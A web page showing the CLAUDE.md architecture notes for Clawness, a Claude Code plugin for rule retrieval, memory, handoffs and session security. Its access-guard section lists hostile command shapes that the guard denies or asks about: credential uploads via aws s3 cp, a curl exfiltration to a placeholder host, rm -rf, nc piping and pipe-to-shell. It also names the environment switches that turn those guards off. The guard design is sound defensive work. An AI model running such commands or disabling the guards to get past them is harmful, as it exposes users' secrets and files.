agentleFS
fullymiddleagedfullymiddleaged/Clawness/CLAUDE.md

Clawness

CLAUDE.md5 starsChanged 4 months agoMITView on GitHub

Orientation for agents/devs working on this repo. User-facing docs live in README.md; release history in CHANGELOG.md. This file captures architecture, conventions, and the why behind non-obvious decisions.

  • Reads credentials
  • Deletes or force-pushes
  • Installs packages
  • Commits and pushes

The file

We split this CLAUDE.md into the rules it gives an agent

6 rules. About 0 are common, 2 are distinctive, and 4 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈2

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 4

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Don't "simplify" this by stamping folders.

    line 257
  2. Very specific:

    Default threshold 6000 estimated tokens (CLAW_CLAUDE_MD_LIMIT): above that the file outweighs Clawness's entire injection at full stretch …

    line 374
  3. Very specific:

    The model must be carried across two hook events: ONLY SessionStart receives a model field (and the docs mark it optional — hence the …

    line 429
  4. Distinctive:

    Don't "simplify" this into one hook — neither event has both halves.

    line 435
  5. Very specific:

    NOT vendored. They update independently, they're the untrusted-instructions surface the trust ledger exists for, and none emits ingestible …

    line 572
  6. Very specific:

    Test: python -m pytest tests/ (set CLAW_NO_PLAN_GATE=1 if the gate blocks your edits in this repo — but unset it before running the suite, …

    line 839

≈ “Common” is an estimate: at least 1 in 5 of the 26,980 CLAUDE.md files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
CLAUDE.md

CLAUDE.md — working on Clawness

Orientation for agents/devs working on this repo. User-facing docs live in README.md; release history in CHANGELOG.md. This file captures architecture, conventions, and the why behind non-obvious decisions.

What this is

A Claude Code plugin that retrieves relevant coding rules and injects them into every prompt via a UserPromptSubmit hook. Pure Python; PyYAML is the only dependency. No ML models, no services, no Docker.

Architecture (request flow)

  1. hooks/claude_hook.py (UserPromptSubmit) loads global rules (plugin/clone rules/) + project rules (<project>/.clawness/rules/), retrieves, prints the block to stdout → Claude sees it.
  2. Retrieval engine = clawness/core.py: BM25 + TF-IDF fused via RRF, over a concept-expanded token stream (_CONCEPT_GROUPS) + light stemming. Mandatory rules (rules/_mandatory/) always injected; rest ranked + budget-capped. A relevance floor (CLAW_MIN_RELEVANCE, default 0.06, gauged on TF-IDF cosine — not RRF, which is rank-based) drops scattershot matches so signal-less prompts inject few/no ranked rules. Codebase-aware: the hook detects the project stack (detect_stack → scan_project, fresh each prompt) and passes it to Clawness; off-stack language/framework rules (_STACK_DOMAINS minus detected) face a higher floor (CLAW_OFFSTACK_MIN_RELEVANCE, default 0.15) so e.g. a Python repo doesn't surface SQL/React noise, while strong cross-domain matches still pass. Cross-cutting domains (general/meta/workflows/security/testing) are never penalized. science/research are cross-cutting but topically NARROW (_TOPICAL_DOMAINS), so they take a middle floor (CLAW_TOPICAL_MIN_RELEVANCE, default 0.12) between the base and off-stack floors: un-gated, so a researcher in a bare/LaTeX-only directory still gets them, but they must genuinely match. At the base floor (1.3.0) 11 of 30 routine dev prompts surfaced one; the stack filter makes this WORSE, not better, since suppressing off-stack rules frees top-k slots these then fill. That is also why clawness query (no stack) cannot see this class of bug — drive the real hook against a project fixture instead. cfd/julia/fortran/matlab/r are the mirror case (_NARROW_STACK_DOMAINS, 1.6.0): stack-gated AND vocabulary-colliding, so off-stack they take a fourth floor ABOVE the ordinary one (CLAW_NARROW_MIN_RELEVANCE, default 0.22). Their core words are ordinary dev words — measured against the real hook in a Python repo, "the solver is not converging, fix the residual bug" scored CFD-CONVERGE-001 at 0.190 and "vectorize this dataframe loop" pulled in MATLAB (0.193) and R (0.163), all clearing the 0.15 off-stack floor. Routine dev prompts top out at 0.193; an explicit ask ("which turbulence model for this openfoam case") starts at 0.264, so 0.22 sits in the gap. The high bar costs them nothing where they matter — in their OWN project they are on-stack and the floor never applies. Don't fold them back into the plain off-stack tier: unlike sql/docker (a Python service really does talk to Postgres) there is no such thing as needing Fortran conventions while writing TypeScript. Note _floor_for must test the narrow set BEFORE returning the off-stack floor — these domains are in _STACK_DOMAINS too, so the reverse order makes the tier dead code. Passing no stack (CLI/eval) disables the penalty, so eval is unaffected. ~4ms/prompt + ~10ms scan (still ~3% of the ~400ms hook, which is dominated by interpreter startup). The stack scan walks the tree once; it does not glob per pattern (1.18.0). Path.glob is NOT recursive, so for ten versions every *.py/*.css/*.sql/*.tex detector only ever saw the repo ROOT — a project keeping its stylesheets in src/styles/ never triggered css, and the manifest detectors masked it well enough that nobody noticed. rglob is not the fix: **/*.py measures ~121ms against ~0.4ms shallow, on a path that re-runs uncached every prompt. So _walk_project lists the tree ONCE, bounded at depth 4 / 4000 entries and skipping init.SCAN_SKIP_DIRS (one source of truth: a directory not worth searching for a hostname is not worth searching for a stack — the set lives in init and guard imports it, NOT the reverse, because importing guard here would put its ~13ms of regex compilation on every prompt), and _pattern_hits matches every pattern against that one listing — by BASENAME at any depth, or by trailing path segments for a pattern that carries a /. Matching is indexed, not fnmatch.filter per pattern: filtering all ~50 patterns over the walked names measured ~9ms, more than the walk itself, so bare *.ext patterns (most of them) resolve through an extension dict and only the rest compile a cached matcher. A leading ./ opts a detector back OUT of recursion (./main.py, ./app.py, ./DESCRIPTION): "a main.py at the top of the project" is a fair guess at a web app, "somewhere in the tree" is not — unanchored, this repo's own tests/fixtures/vuln/app.py dragged fastapi in. Expect a detector to need anchoring whenever its filename is common as a nested file. coverage.detect_uncovered deliberately stays a shallow root glob — it drives "Clawness has no rules for your stack", which must not fire on one vendored .rb. Session-aware re-injection (clawness/session_state.py): the mandatory block (identical every turn) renders in full only on prompt 1 and every CLAW_FULL_EVERY-th prompt after (default 5); other turns get a one-line id list — the rules stay just as binding, only their re-statement shrinks. State is a per-session JSON file in the OS temp dir (never the project), fails toward a full render on any error. Project memory does NOT ride this cadence — see below.
  3. Project memory (<project>/.clawness/memory.md, logic in clawness/memory.py): a per-codebase lessons log, appended after the rules block. Retrieved, not dumped (since 1.2.0): parse_memory splits the file into ## Always entries (pinned, always injected, capped by CLAW_MEMORY_PIN_BUDGET) and ## Lessons entries, which rank_lessons ranks against the prompt — same BM25 + TF-IDF + RRF primitives as the rules, so a 200-entry log still costs a flat handful of lines. HTML comments and headings are stripped: they're for the human editing the file and cost ~107 tokens/turn on an otherwise empty log, which is what prompted the rework. Three deliberate choices:
    • Memory ranks in its OWN pass, never merged into Clawness._ranked_rules. Lessons can't displace rules from top_k, rules can't displace lessons, and rank_ids stays rule-only so tests/ground_truth.json and the CI eval floors are immune to whatever a user writes in their memory file.
    • memory.py has its own stopword list. Across 113 rules, IDF flattens "this"/"the"/"needs" on its own; across a 4-40 entry log those words look discriminating, and without the filter "rename THIS variable" matched "BUILDKIT=1 on THIS machine" above the floor. Don't remove it thinking IDF covers it.
    • CLAW_MEMORY_MIN_RELEVANCE defaults to 0.20, not the rules' 0.06. Small-corpus cosines run hot; measured, genuine hits score 0.44-0.70 and incidental overlap 0.07-0.09, so 0.20 sits in the gap. Because the block is already prompt-specific and ~3 lines, it ships every turn rather than being abbreviated. memory_changed (session_state) now drives force_recent instead of a cadence: the newest entries show on the session's first prompt and on any turn after the file changed, so a lesson written mid-session is never invisible. Memory (and the few fixed suggested-action lines) sit outside CLAW_BUDGET by design — counting them in would make rule selection vary with memory length; total injection ≈ CLAW_BUDGET + CLAW_MEMORY_BUDGET + a few fixed lines. ENF-MEM-001 (mandatory) is the single rule telling Claude to maintain the file and carries the numeric contract (one line, <=120 chars, max 3 pinned, prune past 40); it absorbed the near-duplicate ranked WF-LESSONS-001, which is gone. The file is auto-created on first session by hooks/memory_init.py (SessionStart) — gated to git work trees, opt-out CLAW_NO_MEMORY; it injects a note (like git_check) so Claude announces the file to the user, since hooks can't prompt directly. That hook has a second, independently gated concern (1.8.0): offering the .gitignore block for .clawness/. Same consent shape — it asks, never edits. memory.md and rules/ are meant to be committed; handoff.md, handoffs/ and the ledgers are per-machine. The block is an allowlist (.clawness/* plus ! for the two shared paths) so a ledger added in a future version is ignored by default, and the trailing /* is load-bearing — ignoring the bare directory stops git descending and the negations silently do nothing (tests/test_memory.py pins this by applying the block for real and asking git check-ignore). Coverage is asked of git (check-ignore), not of .gitignore's text, so a global or wholesale rule counts and is left alone. It needs its own ledger (.clawness/gitignore.json) because, unlike creating memory.md, a declined offer isn't self-limiting; checked LAST, as everywhere else. The two halves don't gate each other: a project that predates 1.8.0 has a memory.md already and still needs the ignore rule.
  4. Context-pressure watch (clawness/context_watch.py, called from claude_hook): reads the session's own transcript (transcript_path in the hook payload; falls back to reconstructing <config>/projects/<slugified-cwd>/<session_id>.jsonl) and warns the user before the window fills and quality degrades. Rides the existing UserPromptSubmit hook rather than adding one — it's a file tail plus arithmetic (~0.5ms), not worth another process spawn per prompt.
    • Context size is read, not estimated. The last assistant entry's input_tokens + cache_creation_input_tokens + cache_read_input_tokens IS the prompt that was just sent. Only the last 256KB of the file is read (a transcript reaches several MB; a 6MB tail costs ~0.7ms), walking backwards to the newest usage record.
    • The window is read off the model id only where the id determines it. Fable, Sonnet 5+ and Opus 4.7+ are natively 1M in Claude Code (no [1m] variant exists; CLAUDE_CODE_DISABLE_1M_CONTEXT=1 reverts them to 200k), so native_window maps the transcript's message.model to 1M. For opt-in-window models the id can't say which window the session got. infer_limit therefore goes CLAW_CONTEXT_LIMIT → CLAUDE_CODE_MAX_CONTEXT_TOKENS (declared_window) → native-1M model id → the [1m] marker on model in settings(.local).json → observed-usage tier bump. declared_window is Claude Code's own window override for gateway/non-Claude ids (GLM via OpenRouter), and it mirrors the docs' cases for when Claude Code honours it — not on a recognized Claude id unless DISABLE_COMPACT, not on an unrecognized [1m] id unless CLAUDE_CODE_DISABLE_1M_CONTEXT — so a variable left in the shell can't shrink a native-1M session that Claude Code isn't shrinking. An undeclared non-Claude id falls to the 200k tier, which is also Claude Code's assumption for it. Don't drop either middle tier: without them a 1M session false-alarms all through 140k-200k (an Opus 5.5 session at 158k was told "79% full" before 1.19.0), which is exactly how users learn to ignore the warning.
    • Levels: warn (70%, brief mention), urgent (85%, recommend a fresh session and offer a handoff + memory write), and surge — a single turn adding >=12% of the window with <=5 turns of headroom left, so a session filling fast is flagged while there's still room to act. Below MIN_TOKENS_TO_REPORT (20k) it never speaks.
    • Each level alerts at most once per session (should_alert_context); escalation warn→urgent passes, repeats don't. The condition stays true once reached, so without dedup it would fire every prompt for the rest of the session.
    • Fails silent on every path, opt-out CLAW_NO_CONTEXT_WATCH.
  5. Session handoff (clawness/handoff.py + hooks/handoff_check.py, SessionStart): the other half of the context watch. At ~85% full it offers to write <project>/.clawness/handoff.md; the SessionStart hook injects that file when the next session in the project starts, so the user never has to remember it exists or know its path. WF-HANDOFF-001 (ranked) tells Claude where and how to write one.
    • handoff.md and memory.md are different things and must not be merged. memory.md accumulates durable lessons and is committed/shared; handoff.md is one transient "here's where I was", overwritten each time and personal (gitignore it).
    • The note injects the handoff's CONTENT, not a pointer. A pointer costs the next session a tool call and depends on Claude choosing to follow it — the whole point is that the user shouldn't have to shepherd the pickup.
    • The file's existence IS the state — a handoff at that path hasn't been picked up. There is deliberately no age cutoff or done-flag: an old handoff nobody archived is still outstanding. archive_handoff moves it to .clawness/handoffs/done/<timestamp>.md when superseded (a new one is written, or the user says it's finished), which clears the live slot and keeps history. Nothing is ever deleted; an over-eager archive then costs nothing. Age IS shown in the note, but only as information — it never branches the instruction.
    • "Carry on" means START, not summarize-and-wait (1.6.0). The instruction used to end "then wait for them. Don't start the work unless they ask", which threw away the reason the handoff exists — the user wrote it so the next session wouldn't need an interview. It is now conditional, and must stay conditional: SessionStart fires before the user's first message, so the note cannot know whether they will say "carry on" or open a fresh task, and it has to carry both branches. What makes the continue branch safe is the template's ## Open questions section — the note bounds questions to what is listed there, so "don't ask" can't mean "guess". If you ever drop that section, restore the interview.
    • The session name is a SUGGESTION, and is now opt-in, default OFF (1.9.0; gated 1.11.0). An unnamed session is titled from the user's first message, so every pickup reads "carry on" in their history — the one phrase all pickups share. Claude Code has a built-in /rename [name] (alias /name; bare, it generates a kebab name from the conversation). Neither Claude nor a manual-pickup note can apply it, since SessionStart can't know yet whether the user will pick the handoff up; the auto-start path (below) DOES title the session, via SessionStart's sessionTitle field. suggest_session_name derives a name from the handoff's # heading and, when CLAW_HANDOFF_SUGGEST_NAME is set, the note surfaces the one-liner once, on the pickup branch only — the heading is the wrong name for a session the user opened on something else. Surfacing it on every pickup proved more nagging than it was worth, so the clause is silent by default; only the note mention is gated, suggest_session_name itself stays live and tested. It returns "" (and the note says nothing) when the heading has no letters after cleaning, which is exactly the template's default # Handoff — {date}: a suggestion the user has to read and reject costs more than silence. Don't "improve" this by writing name/nameSource into <config>/sessions/<pid>.json — that file is the CLI's own live state, in an undocumented shape, and it may well hold it in memory anyway.
    • Truncation keeps the head (budget CLAW_HANDOFF_BUDGET, default 2000) — opposite of the lessons log, because a handoff's summary and state are written at the top. ## Open questions is last and therefore the first thing truncated away; that's the right trade (it usually says "none") and tests/test_handoff.py pins it rather than leaving it undefined. Opt-out CLAW_NO_HANDOFF.
    • Auto-start (1.19.0): a handoff marked **Autostart:** yes starts itself. Typing "carry on" was the last interview left. Interactive: hooks/handoff_autostart.py is registered with asyncRewake and exits 2, which wakes an idle Claude with the instruction as a system reminder; that is the ONLY documented way a hook can start work in an interactive session. Headless: handoff_check returns JSON with initialUserMessage, which becomes the first claude -p turn. The user still has to open a session (or /clear): nothing can start one for them. The guards are the design, don't loosen them: consent per handoff (the marker, written only when the user agreed, which the urgent context alert now asks in the same breath as the handoff offer); freshness (CLAW_HANDOFF_AUTOSTART_HOURS, default 12; unlike the pickup NOTE, starting work unasked is an action, so an age bound is right here); once per handoff, keyed on its mtime in .clawness/handoff_autostart.json so a rewrite re-arms (headless skips the ledger, since a scripted loop wants to continue every run); startup/clear sources only. The async hook sleeps (CLAW_HANDOFF_AUTOSTART_DELAY, default 2s) BEFORE claiming, so handoff_check has rendered the autostart note first. Unverified live: the docs say the wake "opens the input box with the system reminder already visible"; whether Claude then acts before the user types needs a real-session test. If it doesn't, the autostart note still makes any first message ("go") start the work. Opt-out CLAW_NO_HANDOFF_AUTOSTART.
  6. Framework-version awareness (VERSION_WATCH_* in clawness/init.py, surfaced by stack_detect): scan_project returns a versions dict alongside domains, and the SessionStart note reads "Next.js 14.2, React 18.3" rather than bare labels.
    • Parsed at SessionStart ONLY. detect_stack (per-prompt) still reads domains and ignores versions, so the hot path is untouched. scan_project re-runs on every prompt uncached — don't move version parsing onto that path without a TTL cache first (the guard_provenance_cache.json pattern).
    • Unparseable means omitted, never guessed. *, latest, a git URL or a workspace protocol yield "" and the framework falls back to its bare label. A wrong version is worse than none: it gets acted on.
    • The watch list is deliberately short — only frameworks whose majors change the code you write (App Router vs Pages, Pydantic v1 vs v2, SQLAlchemy 1.4 vs 2.0). It is not an inventory; the manifest is right there. GEN-INSTALLED-VER-001 is the durable half, and it is distinct from GEN-DEPS-001/ENF-SEC-005, which are about choosing a version for a NEW dependency rather than matching an existing one. 6b. Corpus staleness (clawness/staleness.py, surfaced by stack_detect's check_staleness; remedy in skills/refresh/SKILL.md): a rule may carry applies_to/verified/sources recording the versions it was established against, and the note fires when the project declares one past that range.
    • The relevance floor cannot catch this. It detects unfamiliar vocabulary; a major bump keeps the words ("route", "cache", "app router") and changes their meaning, so a 14-era rule scores like an ordinary match on a v17 prompt. Measured on the live corpus: NX-CACHE-001 at 0.112, NX-ROUTE-001 at 0.121.
    • Stamps are per RULE, never per domain. A domain range is the union of its rules' ranges — structurally the widest claim available — and too-wide fails silent while too-narrow produces a visible false alarm that gets corrected. Don't "simplify" this by stamping folders.
    • Only a verified stamp arms the warning (is_armed): applies_to without verified and sources is asserted, not established, and stays silent. The feature therefore ships doing nothing until real review has happened — that is the honest behaviour, not a shortcoming. Establishing a range is an OUTPUT of review; there is no way to derive it (git dates are a weak proxy, rule text names an API not a version).
    • Grammar is an inclusive "13-15" / "15" / "1.4-2.0", one or two numeric components per bound — the shape _clean_version produces. Ceilings pad with a sentinel ("15" covers 15.9) because padding with 0 would false-alarm on 15.1. Open-ended ("13-") is deliberately inexpressible: "and everything after" is the claim nobody has evidence for. Below-floor mismatches are silent — the corpus is written forwards, so warning there fires on every un-upgraded project.
    • The join key is the DETECTOR's label ("Next.js"), since that is how scan_project keys versions. A typo'd label never matches, so the check goes silently inert while looking configured — which is why clawness lint validates membership in WATCHED_LABELS mechanically. That is the check to watch fail first (TST-FAILFIRST-001).
    • The note orients; it does not commission work, and its text is a tested artifact (TestNoteText). An earlier attempt had Clawness author rule files from the automatic path and it wrote heaps of them, eating the session — the same failure as 1.7.0's CLAUDE.md remedy, and for the same reason: a SessionStart note fires before the user has said what they came for. So the note names /clawness:refresh and starts nothing, permits only a passively triggered one-line append to .clawness/memory.md (SESSION_BACKSTOP, a judgment call — the real bound is "if you happen to establish… while doing the user's work"), and never names .clawness/rules/.
    • Reads stamps from global AND project rules, project winning by id, so rules /clawness:refresh generates are stale-checked by the same mechanism when the project moves again. Without that they'd be the one class that never can be.
    • The ledger keys on the fact, not a date (.clawness/staleness.json stores label → detected version): once per mismatch, re-arming when the version moves. A "checked today" flag was rejected — it goes silent for the rest of the day if the user upgrades at 2pm having been checked at 9am, and re-asks forever once declined. Same shape as claude_md_check's size ledger. Revisit only if a future version asks npm/PyPI what the current major is (network I/O, where a TTL cache becomes correct). unasked is called LAST; opt-out CLAW_NO_STALENESS_NOTE; fails silent on every path.
    • Don't auto-suppress stale rules. A rule that's 80% right beats silence, provided Claude knows to check — which is what the note buys.
    • Known limit: covers only the ~14 VERSION_WATCH_* packages, detects version drift only (not a framework abandoned outright, nor a rule wrong when written).
    • Four whole domains are structurally unstampable, found while stamping for 1.9.0 — don't rediscover them. python has no join label at all: the watch list is frameworks, not the interpreter, so a "Python" key fails lint and there is nothing else a PY-* rule can key on. Adding one would mean detecting the interpreter version, which _python_version (a dependency reader) does not do. And the fastapi-labelled rules are deliberately left bare because FastAPI ships 0.x: _clean_version yields two components, so the effective major is the minor, which moves every few weeks — any ceiling false-alarms almost immediately. The version-sensitive claims in that domain hang off Pydantic and SQLAlchemy instead, which have real majors. typescript and css are unstampable for the opposite reason — the label has a fine major, the CLAIM doesn't. "Enable strict, prefer unknown to any", "?? not ||", "Flexbox for one dimension, Grid for two" were true before TypeScript 7 and will be true after 8, so a ceiling on them buys exactly one guaranteed false alarm per major. (css has no Tailwind rule at all — the Tailwind label is in VERSION_WATCH_JS for the stack note's benefit, not because anything keys on it. Check before assuming a label implies corpus.) The general shape: a stamp is only worth writing where the major changes the claim — the label having a major is necessary, not sufficient.
    • A review can find the rule WRONG, not just unstamped, and that is the point. Two of the 1.9.0 domains turned up rules teaching a hazard that had reversed: SCI-ARRAY-001 on pandas views (3.0's Copy-on-Write inverted it — chained assignment now silently no-ops where it used to mutate-and-warn) and CAP-WEBVIEW-001 on the Status Bar plugin (inert under Capacitor 8's unconditional edge-to-edge). Prefer rewriting the rule to carry BOTH eras over capping it at the old major: a ceiling makes users on the old version see a note about a rule that is still correct for them, while the rewrite serves everyone and the stamp then records the range you actually checked.

6c. New coverage after an upgrade (clawness/upgrade.py, surfaced by stack_detect's check_upgrade): when Clawness gains detection or rules for a stack, a project that already IS that stack starts benefiting automatically — retrieval runs the whole corpus each prompt and the stack filter simply stops penalizing the newly-detected domain. Nothing needs installing. What the user does not get automatically is awareness, which is all this provides.

  • Gated on __version__ changing, so the steady state is one small JSON read. It rides the scan_project call stack_detect already makes, so an upgrade turn costs a listing of rules/ plus a set difference — and it needed no new hook registration, unlike a standalone SessionStart hook.
  • Silent on a project's FIRST session. With no ledger every domain is "new", which is noise; the first run records and says nothing. Same first-session reasoning claude_md_check documents.
  • The note says what now MATCHES and does not claim to know why. The ledger stores detected ∩ available, so a diff means "these apply now and didn't at the last check" — true whether the corpus grew or the project did. Distinguishing them needs the old corpus's domain list, and the wording would then outrun the data. It is useful either way, so neutral costs nothing. _mandatory is excluded from available_domains: those bypass retrieval and the stack filter, so they can never be "newly matched".
  • A corrupt ledger is treated as a first session — record, stay quiet. This is the OPPOSITE of coverage.unasked, which warns twice rather than never, and the asymmetry is the point: a missed uncovered-stack warning means the user never learns Clawness is doing little for them, while a missed new-coverage note costs only an announcement about rules that are already working. A spurious "new coverage" note is the false alarm that teaches people to ignore the real one.
  • Like every note here it orients and commissions nothing — the rules are already live, so there is nothing to run or author, and test_note_names_the_version_and_labels_and_commissions_nothing pins that. Opt-out CLAW_NO_UPGRADE_NOTE; needs a git root; fails silent.
  1. Changelog check (hooks/changelog_check.py, SessionStart): reminds when a changelog exists, and asks once per project, ever when one doesn't — ledger at .clawness/changelog.json, should_ask called LAST so a session that would have stayed quiet doesn't burn the one shot. Never creates the file itself; same consent shape as git_check's git init. Opt-outs: CLAW_NO_CHANGELOG_CHECK, or a .clawness/changelog-check-off marker. The nag ledgers (changelog.json, model_advice.json, claude_md.json, sast.json) are deliberately NOT guard control files — forging one suppresses a question, not a guard, and listing them would make routine .clawness/ writes start asking.
  2. CLAUDE.md size check (hooks/claude_md_check.py, SessionStart) + the routing clause in ENF-MEM-001: the two halves of keeping CLAUDE.md and .clawness/memory.md from fighting over "remember this".
    • The economics are the whole argument. CLAUDE.md is loaded by the harness, in full, on every turn, before any hook runs — the one context cost nothing here can cap, while the rules block is budgeted and the lessons log is ranked and budgeted. Default threshold 6000 estimated tokens (CLAW_CLAUDE_MD_LIMIT): above that the file outweighs Clawness's entire injection at full stretch (~851 mandatory + ~3,149 ranked), forever. This repo's own is ~9,151.
    • The split is THREE-way and the bulk goes to .clawness/rules/, not memory.md. memory.md is sized for a lessons log (top-3, ~1200 chars, 120/entry, merge past 40) — a 36k-char CLAUDE.md is 300+ entries to surface three lines, with the line cap shredding the rationale that was the payload. Project rules take the same ranking engine with no line cap and the full rule format. One-line traps only go to memory.
    • Anything shaped like "don't undo this" STAYS in CLAUDE.md. Retrieval is lossy, and that content is load-bearing exactly when the prompt gives no hint it applies. A missed rule is a slightly worse answer; a missed "don't undo this" is the regression it existed to prevent — see the plan gate sitting off for a month.
    • Indexing CLAUDE.md like memory.md was rejected, don't rebuild it. The harness has already loaded it by hook time and UserPromptSubmit can only append, so ranked chunks duplicate the full copy. The corollary: making CLAUDE.md cheaper is necessarily destructive.
    • The hook is the diagnosis; skills/claude-md/SKILL.md is the remedy (1.8.0). 1.7.0 had the SessionStart note offer a guided three-way relocation. Dogfooding it here worked and that was the problem — it ate most of a session opened for something else. The bug was the timing, not the content: a SessionStart note fires before the user has said what they came for, so it can't propose a long destructive refactor. The content moved verbatim into /clawness:claude-md, where the user typing the command IS the consent, and the note now names that plus Claude Code's /doctor and starts neither. If a later version wants the hook to do more, improve the skill instead.
    • @path imports don't reduce cost, and the docs are explicit: "imported files are expanded and loaded into context at launch", recursive to four hops. So reorganising CLAUDE.md into @ references — much the most popular version of this advice — moves zero tokens, and neither do .claude/rules/ files without paths: frontmatter. The only mechanisms that actually defer cost are paths:-scoped .claude/rules/, nested <subdir>/CLAUDE.md, skills, and our own ranked .clawness/rules/. The check still doesn't follow @path (that means reimplementing the harness's parser), so its number under-reports an import-split file — a known-real false negative that errs toward silence.
    • Firing on the project's FIRST session instead was rejected. CLAUDE.md is usually absent or small then; the bloat accrues over months, so first-session gating would never fire for the case the check exists for.
    • The ledger stores the SIZE, not a boolean (unlike changelog.json, which answers a yes/no question once). Re-arms at 1.5x growth: "asked at 6k, silent forever at 30k" is the same absent-prompt failure as the old plan-gate off switch. A ledger that says asked but carries no size counts as answered.
    • Tokens are estimated at chars/4, never tokenized (PyYAML stays the only dependency), so the note says "roughly". @path imports are deliberately not followed — that needs the harness's import semantics verified first, and under-reporting a split-up CLAUDE.md is a false negative, which costs nothing.
    • ENF-MEM-001 carries the routing half: lessons go to memory.md, never CLAUDE.md. It governs everything Claude writes but cannot touch the user typing #, which writes straight to CLAUDE.md with no hook in the path — say so in the README rather than pretending the routing is total. The rule sits at 485 of the 500-char mandatory ceiling, so anything added to it has to be paid for by trimming.
    • Opt-outs CLAW_NO_CLAUDE_MD_CHECK, .clawness/claude-md-check-off. should_ask called LAST, fails silent.
  3. Model-tier advisor (clawness/model_advisor.py, stashed by stack_detect, surfaced by claude_hook on prompt 1): compares the session's model tier against what the opening task looks like and injects a note when they look mismatched.
    • The model must be carried across two hook events. ONLY SessionStart receives a model field (and the docs mark it optional — hence the read_settings_model() fallback); UserPromptSubmit never does. But at SessionStart there is no task yet, and codebase complexity is the wrong signal (a README edit in a huge repo is trivial). So stack_detect stashes the model via session_state.record_model, and prompt 1 of claude_hook reads it back. Don't "simplify" this into one hook — neither event has both halves.
    • Evidence, not verdict. The note reports the matched signals and explicitly licenses Claude to say nothing. The heuristic WILL misfire; letting Claude filter against the real task means a wrong guess usually dies before the user sees it. A hook asserting "switch to X" would surface every false positive.
    • The thresholds are asymmetric on purpose. An upgrade hint needs 2 signal groups. A downgrade needs 2 and zero upgrade signals and a short prompt, because a wrong downgrade is invisible harm — a shallower answer on hard work reads exactly like a good one — while a wrong upgrade costs visible money.
    • opus and fable are both TIER_TOP. There is no defensible ordering between them, so a top-tier session is never told to move.
    • Fails silent, not open (the opposite of the context watch): an unknown model or unreadable ledger means say nothing. Dedup is once per project per tier in .clawness/model_advice.json, so a tier change re-arms it. CLAW_NO_MODEL_ADVISOR.
    • tests/model_advisor_cases.json is its eval set, and the CI floor is zero false positives on routine prompts. Grow that file when tuning signals.
  4. Session security (defense, not retrieval — independent of the engine):
  • hooks/access_guard.py (PreToolUse; logic in clawness/guard.py) classifies each Bash/Write/Edit/Read call → allow/ask/deny. A hook decision overrides the user's permission allowlist, so ask fires even on "always-allowed" tools — the answer to approval fatigue. deny is a HARD block with no in-Claude override (verified on the VS Code build — the user can't approve it inline; retrying re-fires), so reserve it for ~zero-legit-use / exfil-signature cases: cloud-metadata, catastrophic rm -rf (a filesystem root / home / a system dir itself — a delete DEEPER under a system dir is ASK, not deny), reading a local secret into a network call, uploading a local secret (incl. via a cloud CLI — aws s3 cp ~/.aws/credentials s3://…), and inline-capture exfil — $(…)/backtick output embedded in a data upload to a host absent from the codebase. The exfil denies are evaluated UP FRONT (before any ASK tier) on purpose — _classify_bash returns on first match, so a compound command (rm -rf ~/x && curl -d "$(cat s)" https://absent/) would otherwise let an early ASK clause mask a later deny; don't reorder them below the ASK checks. A shell >/>> redirect to a control file (_bash_redirect_hits_control_file) is also caught, since it bypasses the Write-tool gate. Crucially a bare token env var (Bearer $API_TOKEN) is NOT a deny signal — it's routine auth, so a token-authenticated POST to an internal host absent from committed source only ASKS (see _INLINE_CAPTURE_RE vs _VAR_EXPANSION_RE). ask (which DOES surface an approve dialog) covers the dual-use and scope cases: pipe-to-shell and git push --force (not --force-with-lease, allowed), writes outside the project root (temp/plan files exempt via is_plan_file), credential-shaped reads, named installs, deep-system-dir deletes, data piped into a raw socket (… | nc), any cloud-storage upload (aws s3 cp/gsutil/az blob), and a credential-named URL download. The _deny reason text must not tell the model to "proceed on confirmation" — it can't; it points to the real escape hatches (run it yourself / CLAW_NO_ACCESS_GUARD=1). Data-bearing curl/scp egress is provenance-tiered: value_in_project searches the destination host across the project's own text files — a bounded walk that EXCLUDES .claude/ so a hijacked skill can't launder a host into "trusted", 15-min verdict cache — endogenous (in the repo) → ask, absent → ask (or deny for the inline-capture shape). Note a known host still ASKS for a data upload; provenance only flips the inline-capture case between deny and ask, so it can never buy a silent egress. Cloud uploads are deliberately NOT provenance-downgraded to allow — source is forgeable (a rogue postinstall or injected Write could plant a bucket name), so aws s3 cp <secret> s3://planted-bucket would be silent exfil; every cloud upload asks once per bucket instead. Asks once per destination per session: for egress the dedup key is the host/bucket (_egress_targets), not the exact command, so iterating upload payloads to one host asks once; an out-of-project write keys on its parent DIRECTORY (approve a location once — e.g. the ~/.claude memory dir — and sibling writes there don't re-nag; a security-control file stays keyed per-file so blessing a dir can't cover a sibling kill switch); other tiers key on the path/command. Keys are sha256-hashed so raw command text never touches disk. Two-phase: PreToolUse records a target pending; a PostToolUse companion (same matcher) promotes it to confirmed only once the call actually completes AND the payload carries a tool_response (execution evidence — defense-in-depth so a declined call never settles even if a build fired PostToolUse for it), so a declined/abandoned ask re-asks on retry instead of going silent for the session. Ledger/cache writes are atomic (atomic_write_text, temp + os.replace) so concurrent sessions never read a torn file. Pure-logic core, fails open, CLAW_NO_ACCESS_GUARD.
  • hooks/trust_ledger.py (SessionStart; logic in clawness/trust.py) keeps TOFU fingerprints of skills/agents/commands/MCP servers in .clawness/trust_ledger.json and injects a note when one changed/appeared; clawness audit-skills scans those artifacts for injection tells. Fails open, CLAW_NO_TRUST_LEDGER.
  1. Deterministic security scan + findings ledger (clawness/scan.py + clawness/findings.py, surfaced by clawness scan and the /clawness:security-audit skill): the discovery+memory halves of the security audit. This is NOT a hook — it runs from the CLI/skill, never per prompt.
  • The premise is that LLM scan variance is in DISCOVERY, not judgment. A model re-run 5-10 times wanders to different files and free-associates about risk, so a different subset surfaces each run; whether this line is exploitable is comparatively stable. So scan.py makes discovery deterministic — a regex/lexical sink+source finder (same DNA as guard.py/audit-skills) that returns the same sorted candidate list every run, reducing the LLM to adjudicating a fixed short list. That is the token win, and it is why the enumerator carries zero LLM cost.
  • It is a tripwire, not a SAST engine — the identical framing to the access guard, and it must stay in the docs so users don't over-trust it. It over-reports (a parameterised query that only looks concatenated) and is blind to cross-file taint, obfuscation, and logic flaws. The confidence field and the adjudication pass are what turn a candidate into a verdict; the red team is explicitly told to also hunt what the enumerator can't see.
